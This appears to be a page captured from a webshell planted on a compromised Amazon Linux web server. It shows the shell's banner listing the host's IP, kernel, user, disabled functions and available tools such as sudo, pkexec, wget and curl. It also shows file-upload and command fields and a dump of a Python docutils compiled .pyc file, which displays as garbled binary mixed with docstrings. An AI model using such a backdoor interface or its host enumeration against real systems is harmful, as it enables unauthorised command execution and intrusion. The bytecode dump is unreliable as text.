403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.93
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/docutils/writers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/docutils/writers/__pycache__/__init__.cpython-39.pyc
a

X�-]��
@s�dZdZddlZddlZddlZddlmZmZddlm	Z	Gdd�de�Z
Gdd	�d	e
�Zd
d
ddd
d
ddddd
dd�Zdd�Z
dS)z0
This package contains Docutils Writer modules.
ZreStructuredText�N)�	languages�	Component)�	universalc@sPeZdZdZdZdZdd�ZdZdZdZ	dZ
dd�Zd	d
�Zdd�Z
d
d�ZdS)�Writera
    Abstract base class for docutils Writers.

    Each writer module or package must export a subclass also called 'Writer'.
    Each writer must support all standard node types listed in
    `docutils.nodes.node_class_names`.

    The `write()` method is the main entry point.
    �writerZwriterscCst�|�tjtjtjgS�N)r�get_transformsrZMessagesZFilterMessagesZStripClassesAndElements��self�r�=/usr/lib/python3.9/site-packages/docutils/writers/__init__.pyr"s
�zWriter.get_transformsNcCs
i|_dSr)�partsr	rrr�__init__6szWriter.__init__cCs:||_t�|jj|j�|_||_|��|j�	|j
�}|S)a/
        Process a document into its final form.

        Translate `document` (a Docutils document tree) into the Writer's
        native format, and write it out to its `destination` (a
        `docutils.io.Output` subclass object).

        Normally not overridden or extended in subclasses.
        )�documentrZget_language�settingsZ
language_codeZreporter�language�destination�	translate�write�output)r
rrrrrrr?s
�zWriter.writecCstd��dS)a
        Do final translation of `self.document` into `self.output`.  Called
        from `write`.  Override in subclasses.

        Usually done with a `docutils.nodes.NodeVisitor` subclass, in
        combination with a call to `docutils.nodes.Node.walk()` or
        `docutils.nodes.Node.walkabout()`.  The ``NodeVisitor`` subclass must
        support all standard elements (listed in
        `docutils.nodes.node_class_names`) and possibly non-standard elements
        used by the current Reader as well.
        z"subclass must override this methodN)�NotImplementedErrorr	rrrrRszWriter.translatecCs,|j|jd<|jjj|jd<tj|jd<dS)z<Assemble the `self.parts` dictionary.  Extend in subclasses.Zwhole�encoding�versionN)rr
rrZoutput_encoding�docutils�__version__r	rrr�assemble_parts`szWriter.assemble_parts)�__name__�
__module__�__qualname__�__doc__Zcomponent_typeZconfig_sectionrrrrrrrrrrrrrrs
	rc@seZdZdZdd�ZdS)�UnfilteredWriterz�
    A writer that passes the document tree on unchanged (e.g. a
    serializer.)

    Documents written by UnfilteredWriters are typically reused at a
    later date using a subclass of `readers.ReReader`.
    cCs
t�|�Sr)rrr	rrrrqszUnfilteredWriter.get_transformsN)rrrrrrrrrr gsr Z	html4css1Zhtml5_polyglotZlatex2eZ	pseudoxmlZrlpdfZs5_htmlZxetexZdocutils_xml)ZhtmlZhtml4Zhtml5ZlatexZpprintZpformatZpdfZs5ZxelatexZxhtmlZxhtml10Zxmlc	Cs^|��}|tvrt|}zt|t�t�dd�}Wn&tyVt|t�t�dd�}Yn0|jS)z6Return the Writer class from the `writer_name` module.�)�levelr)�lower�_writer_aliases�
__import__�globals�locals�ImportErrorr)Zwriter_name�modulerrr�get_writer_class�sr*)rZ
__docformat__Zos.path�os�sysrrrZdocutils.transformsrrr r$r*rrrr�<module>s,T�

Youez - 2016 - github.com/yon3zu
LinuXploit